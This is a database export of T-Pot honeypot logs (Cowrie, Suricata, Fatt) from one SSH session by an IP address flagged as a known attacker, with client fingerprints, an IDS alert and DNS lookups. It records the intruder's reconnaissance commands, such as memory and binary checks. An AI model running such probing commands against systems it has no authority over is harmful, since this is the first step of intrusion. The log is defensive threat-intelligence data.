"ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36416, "dest_port": 22, "timestamp": "2021-09-20T12:08:26.807258", "@timestamp": "2021-09-20T12:08:26.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	SE
35289	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:26.751051+03	2021-09-20 15:15:03.072691+03	{"_id": "YAYbA3wBvYTbRNuEhFv1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "13be58f0efff", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:08:26.751051Z", "@timestamp": "2021-09-20T12:08:26.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	SE
35290	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:27.498396+03	2021-09-20 15:15:03.074722+03	{"_id": "YQYbA3wBvYTbRNuEhFv1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "8881b39fe104", "@version": "1", "timestamp": "2021-09-20T12:08:27.498396Z", "@timestamp": "2021-09-20T12:08:27.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	SE
35291	159.253.30.249	109.199.241.180	Fatt	2021-09-20 15:08:27.497756+03	2021-09-20 15:15:03.07569+03	{"_id": "bAYbA3wBvYTbRNuEh1tp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36502, "dest_port": 22, "timestamp": "2021-09-20T12:08:27.497756", "@timestamp": "2021-09-20T12:08:27.497Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	SE
35309	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:33.349515+03	2021-09-20 15:15:03.099692+03	{"_id": "owYbA3wBvYTbRNuEnFtp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:33.349515Z", "@timestamp": "2021-09-20T12:08:33.349Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35292	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:29.434502+03	2021-09-20 15:15:03.07769+03	{"_id": "cAYbA3wBvYTbRNuEjFvG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "159.253.30.249", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.12837982177734375, "duplicate": true, "timestamp": "2021-09-20T12:08:29.434502Z", "@timestamp": "2021-09-20T12:08:29.434Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35293	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:29.170544+03	2021-09-20 15:15:03.078691+03	{"_id": "dAYbA3wBvYTbRNuEjFvH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "159.253.30.249", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.12303638458251953, "duplicate": true, "timestamp": "2021-09-20T12:08:29.170544Z", "@timestamp": "2021-09-20T12:08:29.170Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35294	159.253.30.249	109.199.241.180	Suricata	2021-09-20 15:08:29.1136+03	2021-09-20 15:15:03.08069+03	{"_id": "dgYbA3wBvYTbRNuEjVvo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:08:26.689896+0000", "pkts_toclient": 13, "pkts_toserver": 17, "bytes_toclient": 2937, "bytes_toserver": 3200}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 634441726330600, "payload": "m2D9bSt2macmGntuIU4BMcPhi0RAPXtDKjII/B8ngzH75Rko3X1GQB+MBrZ3RF+Lrd2nPcyl6xlmdHqfAxQlTLqTny0sa2fqAhYUG7xdxpojGKBe9iemTxjBL99ZlsBx", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36416, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:08:29.113600Z", "@timestamp": "2021-09-20T12:08:29.113Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".`.m+v..&.{n!N.1...D@={C*2...'.1...(.}F@....wD_....=....ftz...%L...-,kg......]..#..^.'.O../.Y..q"}}	1	\N	\N	alert	known attacker	SE
35295	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:30.241527+03	2021-09-20 15:15:03.08169+03	{"_id": "ewYbA3wBvYTbRNuEkFuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:30.241527Z", "@timestamp": "2021-09-20T12:08:30.241Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35296	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:30.242093+03	2021-09-20 15:15:03.08269+03	{"_id": "fAYbA3wBvYTbRNuEkFuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:30.242093Z", "@timestamp": "2021-09-20T12:08:30.242Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35316	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:34.415468+03	2021-09-20 15:15:03.10869+03	{"_id": "qwYbA3wBvYTbRNuEoFtT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:34.415468Z", "@timestamp": "2021-09-20T12:08:34.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35297	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:30.356798+03	2021-09-20 15:15:03.08369+03	{"_id": "fQYbA3wBvYTbRNuEkFuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "159.253.30.249", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.11538958549499512, "duplicate": true, "timestamp": "2021-09-20T12:08:30.356798Z", "@timestamp": "2021-09-20T12:08:30.356Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35298	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:30.526516+03	2021-09-20 15:15:03.085691+03	{"_id": "fgYbA3wBvYTbRNuEkFuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:30.526516Z", "@timestamp": "2021-09-20T12:08:30.526Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35299	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:30.527058+03	2021-09-20 15:15:03.086691+03	{"_id": "fwYbA3wBvYTbRNuEkFuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:30.527058Z", "@timestamp": "2021-09-20T12:08:30.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35300	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:30.527549+03	2021-09-20 15:15:03.088689+03	{"_id": "gAYbA3wBvYTbRNuEkFuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:30.527549Z", "@timestamp": "2021-09-20T12:08:30.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35301	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:29.981775+03	2021-09-20 15:15:03.089689+03	{"_id": "eQYbA3wBvYTbRNuEkFuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:29.981775Z", "@timestamp": "2021-09-20T12:08:29.981Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35302	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:29.702221+03	2021-09-20 15:15:03.091689+03	{"_id": "ggYbA3wBvYTbRNuEkFuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:29.702221Z", "@timestamp": "2021-09-20T12:08:29.702Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35332	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:08:30.286177+03	2021-09-20 15:15:03.127689+03	{"_id": "hAYbA3wBvYTbRNuEkVvR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 18298, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 617573242527201, "@version": "1", "in_iface": "enp5s0", "src_port": 54328, "dest_port": 53, "timestamp": "2021-09-20T12:08:30.286177Z", "@timestamp": "2021-09-20T12:08:30.286Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
35303	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:08:30.288698+03	2021-09-20 15:15:03.09269+03	{"_id": "hQYbA3wBvYTbRNuEkVvR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 18298, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2164, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 617573242527201, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 54328, "timestamp": "2021-09-20T12:08:30.288698Z", "@timestamp": "2021-09-20T12:08:30.288Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
35304	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:08:30.378256+03	2021-09-20 15:15:03.093689+03	{"_id": "hgYbA3wBvYTbRNuEklvb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36114, "timestamp": "2021-09-20T12:08:30.378256", "@timestamp": "2021-09-20T12:08:30.378Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
